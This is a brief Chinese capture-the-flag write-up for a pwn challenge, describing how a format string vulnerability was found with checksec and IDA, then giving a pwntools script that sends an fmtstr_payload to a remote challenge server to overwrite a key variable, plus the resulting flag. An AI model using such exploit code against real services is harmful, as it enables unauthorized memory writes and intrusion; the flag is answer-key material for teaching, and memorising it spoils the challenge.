解析
先checksec一下,发现没开什么保护,就很乐。
直接拖入ida中,看main函数有一个call的地方。
直接进去看看。
在往里进一下,发现一个格式化字符串的漏洞。
之后先格式化一下,看看。
偏移了12位,之后看看key的位置。
key在0804A048,那么脚本就可以写出来了。
脚本
from pwn import *
#p = process('./sjjc')
p = remote('111.200.241.244',65394)
context(os = 'linux',arch = 'i386',log_level = 'debug')
key = 0x0804A048
th = 0x2223322
payload = fmtstr_payload(12,{key:th})
p.sendline(payload)
p.interactive()
最后flag是cyberpeace{ae7e996eb00c9591235f30f9975a49c4}